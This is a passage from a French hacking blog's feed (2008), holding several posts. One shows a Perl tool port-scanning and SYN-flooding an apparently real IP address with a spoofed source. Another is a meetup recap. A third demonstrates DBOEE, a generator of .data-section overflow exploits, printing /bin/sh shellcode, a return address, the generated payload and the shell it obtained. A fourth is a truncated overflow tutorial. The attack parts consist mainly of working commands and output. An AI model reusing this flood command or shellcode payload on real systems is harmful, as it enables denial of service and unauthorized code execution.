perl  KM-Net-tool.pl -S 213.251.1xx.xxx  1 1 200 tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[+]Checking modules....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [ Module IO::Socket::INET : OK ]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [ Module Net::Ping : OK ]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [ Module Net::RawIP : OK ]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [ Module Getopt::Std : OK ]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;          ---------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;             ~ PING 213.251.1xx.xxx  .... + Ok!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;             ~ Localtime: Wed Oct 22 16:02:18 2008&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;              [+] Time out : 1&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;              [+] Starting scan port n° 1  &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;              [+] Finish scan port n° 200&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;              [+] Protocol Selected : tcp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;          ---------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(+) Starting Scan (using Thread) : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [+]  Port   21  - tcp Open&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [+]  Port   22  - tcp Open&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [+]  Port   25  - tcp Open&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [+]  Port   53  - tcp Open&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [+]  Port   80  - tcp Open&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [+]  Port   110  - tcp Open&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [+]  Port   143  - tcp Open&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Rien de bien sorcier en soit ...autre exemple : un SYN flood :&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[root@ KM-Net-tool]# perl  KM-Net-tool.pl -f 84.56.82.98 213.251.178.117 22 4000 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[+]Checking modules....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [ Module IO::Socket::INET : OK ]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [ Module Net::Ping : OK ]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [ Module Net::RawIP : OK ]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      [ Module Getopt::Std : OK ]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;          ---------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;+1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 ...... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ou chaque &quot;+1&quot; signifie qu&#39;un paquet a été envoyé a la cible .&lt;br /&gt;&lt;br /&gt;Bon on va stopper la car je pense que vous avez compris comment ce tool trés simple d&#39;usage fonctionne , si ce n&#39;est pas le cas , a vous de consulter l&#39;aide fournie avec .&lt;br /&gt;&lt;br /&gt;A bientot pour de VRAIS projet en Perl ;-)  c&#39;est promis  !&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;      &lt;-------------------------  &gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://membres.lycos.fr/profil4/tools/KM-Net-tool.tar&quot;&gt;Archive du projet KM-Net-tool&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;      &lt;-------------------------&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;&lt;br /&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/2966323214067022939/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/2966323214067022939' title='5 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/2966323214067022939'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/2966323214067022939'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2008/10/quand-on-ne-sais-que-faire-on-code.html' title='Quand on ne sais que faire ... on code nawak (et ça se voit :-P  )'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-3298858070203933087</id><published>2008-09-08T17:18:00.000+02:00</published><updated>2008-09-08T17:27:10.227+02:00</updated><title type='text'>Résumer du premier 2600 Nîmois</title><content type='html'>&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Salut a tous ! &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Et bien voila , le premier meet&#39; a bien eu lieu sur Nîmes .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Le résumé ce trouve dispo sur le forum 2600fr.org a cette adresse : &lt;/span&gt;&lt;br /&gt;&lt;a href=&quot;http://www.2600fr.org/forum/viewtopic.php?id=154&quot;&gt;résumer 2600 Nîmes&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Ce qu&#39;on peu en dire en 2 mots  c&#39;est que ce fut un agréable moment intéréssant et riche en partage .&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Nous nous sommes posé dans le &quot;Cyber-Restaurant &quot; le  &quot; Net m&#39;Eating &quot;  , ou nous avons pu bidouiller un peu le tout en étant bien confortablement installé ( voir résumé pour plus d&#39;infos).&lt;/span&gt;&lt;br /&gt;&lt;a href=&quot;http://www.restaurant-netmeating.com/&quot;&gt;net m&#39; eating&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;J&#39;espere tout de meme y voir un peu plus de monde dans les mois a venir  mais chaque choses en son temp .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Si certain sont intéréssés , n&#39;hésitez pas a me contacter pour avoir plus d&#39;infos .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;merci a tous .&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/3298858070203933087/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/3298858070203933087' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/3298858070203933087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/3298858070203933087'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2008/09/rsumer-du-premier-2600-nmois.html' title='Résumer du premier 2600 Nîmois'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-6918703503783947667</id><published>2008-08-23T18:43:00.000+02:00</published><updated>2008-09-01T22:24:35.619+02:00</updated><title type='text'>.Data Overflow et utilisation de &quot;DBOEE&quot; pour générer l&#39;exploit approprié et exploiter</title><content type='html'>&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Salut a tous et a toutes .&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Dans ce nouveau billet , je compte vous présenter mon projet baptisé &quot;DBOEE&quot; (Data-Based-Overflow Easy Exploitation) dans sa version &quot;beta&quot; si on peu dire .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Mais en quoi cela consiste -il ?&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;En fait , ce billet sera ici un  complément du précédent concernant les .Data Overflows .&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Le précédent billet m&#39;a valut un commentaire de la part de quelqu&#39;un ( il se reconnaitra j&#39;espere ;-)) que j&#39;admire me demandant &quot;pourquoi tu n&#39;as pas coder l&#39;exploit qui va avec ?&quot; .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Cette question a pour réponse : pas envie de coder un exploit pour un vuln.c  ( pas trés utile en soit) .&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Mais en y réfléchissant , pourquoi ne pas coder un programme qui , non seulement serait un exploit pour ce vuln.c, mais aussi serait adaptable a d&#39;autres .Data Overflow ?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;De la est né le projet DBOEE ayant pour objectif ( dans la version beta tout du moins ) ,la possibilité de s&#39;adapter a d&#39;autre situations afin de pouvoir facilement exploiter et au passage générer l&#39;exploit associé .&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Concrètement DBOEE vous demandera un shellcode (fournis au cas ou ..) , le nombre d&#39;octets entre le buffer et la section DTORS a écraser ( j&#39;automatiserais ça par la suite ) ainsi que la cible .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Concernant le nombre d&#39;octets , le programme le calcule en déduisant la taille du shellcode de façon a faciliter cette opération .&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Une fois l&#39;exploit créé , il est sauvergardé dans le fichier Exploit.txt puis exploite le programme vulnérable.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Voila pour la présentation du projet DBOEE qui n&#39;en ait ici qu&#39;a ses débuts ( voir readme joint a l&#39;archive).&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Place au test :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[kmkz@localhost Fuzzer_Data-overflow]$ ./DBOEE&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;----------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;   - Data-Based-Overflow Easy Exploitation  -     &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;----------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[+]Programm :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;-Devellopped by kmkz(c)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;-Compilation :gcc -o DBOEE DBOEE.c &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; [+]Author&#39;s informations :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; kmkz&#39;s web sites -&gt; http://kmkz-web-blog.blogspot.com &amp;amp; www.collective-utopia.no-ip.fr&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[+]This programm has been coded for makes easier the Data based Overflow exploitation.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; You just have to give a shellcode(reached) , numbers of Bytes and the target name .      DBOEE calculate the payload, exploit program and create feat ,nice isn&#39;t it.?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[~]This is my first real projet in C language and Beta version also I hold has excuse me for essential lack &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;  ---------------------------****************---------------------------  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;  ---------------------------STARTING PROGRAM---------------------------  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[*] Enter  Adress Return :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(102, 204, 204);&quot;&gt;    &quot;\x60\x95\x04\x08&quot;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[*] Enter your shellcode :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(102, 204, 204);&quot;&gt;    &quot;\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x&lt;br /&gt;cd\x80&quot;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;  ---------------------------Starting Exploitation---------------------------  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[~]Program Running......&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; [~] check on the ongoing shellcode...&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;- Shellcode maximum Size  : 1000&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;- Shellcode character -&gt; 73  &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;- Shellcode size (octets)  -&gt; 18  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;  ---------------------------Shellcode Created---------------------------  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[*] enter the number of &#39;A&#39; (octets)  necessary for Overflow exploitation :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(102, 204, 204);&quot;&gt; 272&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;  ---------------------------Shellcode Created---------------------------  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[~]Generating Payload....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(+)[Your Payload is] --&gt;  &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;                       272 x &#39;A&#39; [your shellcode] &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(+) subtraction of the  shellcode bytes ...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;       [*] Payload generated is :   printf 254 x &#39;A&#39; [shellcode]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;  ---------------------------Payload Created---------------------------  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt; [~]  Give  me a target       (example-&gt; ./vuln)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(102, 204, 204);&quot;&gt;./vuvu&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;-Target programm is -&gt; ./vuvu&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;  ---------------------------Generating Exploit File---------------------------  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[#] Creating Exploit File ....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[#]Exploit.txt : success ! &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[+] Sending payload...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;      ------------ Result ------------ &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;sh-3.2$   &lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;-----------------------------------------------------------------------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;                                                -Contenu du Fichier Exploit.txt -&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;-----------------------------------------------------------------------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 153, 0);&quot;&gt;`printf &quot;\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x&lt;br /&gt;cd\x80&quot;``perl -e &#39;print &quot;A&quot;x254&#39;``printf &quot;\x60\x95\x04\x08&quot;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 153, 0);&quot;&gt;`&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;-----------------------------------------------------------------------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Comme on peu le constater , l&#39;exploit généré correspond en tout points a celui obtenu lors du billet précédent.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;-----&lt;/span&gt;&lt;br /&gt;&lt;a href=&quot;http://membres.lycos.fr/profil4/tools/DBOEE-project.tar.gz&quot;&gt;Archive du projet DBOEE&lt;/a&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Voila , le source est un peu (beaucoup ) plus présentable désormais grace a la participation de m_101 (que je remercie au passage ).&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Pour plus d&#39;infos , consulter le &quot;readme&quot; inclu a l&#39;archive.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;A trés bientot et merci a tous \o !&lt;br /&gt;&lt;br /&gt;ps2: Retrouver l&#39;appel a participation au projet sur  le forum&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.collective-utopia.no-ip.fr/&quot;&gt;Collective-Utopia&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/6918703503783947667/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/6918703503783947667' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/6918703503783947667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/6918703503783947667'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2008/08/data-overflow-et-utilisation-de-dboee.html' title='.Data Overflow et utilisation de &quot;DBOEE&quot; pour générer l&#39;exploit approprié et exploiter'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-7960379329613969381</id><published>2008-08-09T12:38:00.000+02:00</published><updated>2008-08-30T14:30:13.585+02:00</updated><title type='text'>.Data Section overflow</title><content type='html'>&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Hello World ! &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Me revoila pour un petit billet (probablement un des derniers de l&#39;été /o\  mais pas le dernier de ce blog , loin de la ;-) ! &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Alors , étant un peu a court d&#39;idées mais ayant besoin de travailler sur quelque chose d&#39;assez concret/intéréssant , je me suis dis &quot;pourquoi pas  un article sur les Data overflow?&quot; .&lt;br /&gt;Cet article montrera uniqueme les notions de bases qui seront approfondie par la suite dans d&#39;autres articles a venir .&lt;br /&gt;                                                  &lt;span style=&quot;color: rgb(51, 51, 255);&quot;&gt; |------------ Environnement&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 255);&quot;&gt; -----------|&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;                                  Il reste inchangé , cependant il est bon de le rappeller :&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;Linux Free 2.6.22.19-desktop-2mdv 2008 &lt;/span&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;- GNU/Linux&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;i686 Intel(R) Pentium(R) 4 CPU 2.93GHz&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;&lt;span style=&quot;color: rgb(51, 51, 255);&quot;&gt;                                                         |------------ Environnement&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 255);&quot;&gt; -----------|&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Les Data Overflow sont donc des Buffers Overflow se situants donc dans la section .Data (logique ,non..?) .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Contrairement aux Stack Overflow , nous n&#39;allons pas chercher a &quot;écraser&quot; la pile mais bel et bien une autre Section mémoire .&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Commençons la pratique :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;Tout d&#39;abord regardons l&#39;organisation des sections  de notre programme vulnérable (fourni en fin d&#39;article) :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;[kmkz@localhost Data_overflow]$ size -A -x vuvu &lt;/span&gt; &lt;span style=&quot;color: rgb(204, 204, 204);&quot;&gt;// Simpa  le nom &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;bss2  :&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;section            size        addr&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.interp            0x13   0x8048114&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.note.ABI-tag      0x20   0x8048128&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.gnu.hash          0x20   0x8048148&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.dynsym            0x50   0x8048168&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.dynstr            0x4c   0x80481b8&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.gnu.version        0xa   0x8048204&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.gnu.version_r     0x20   0x8048210&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.rel.dyn            0x8   0x8048230&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.rel.plt           0x18   0x8048238&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.init              0x30   0x8048250&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.plt               0x40   0x8048280&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.text             0x15c   0x80482c0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.fini              0x1c   0x804841c&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;.rodata             0x8   0x8048438 &lt;/span&gt;&lt;br 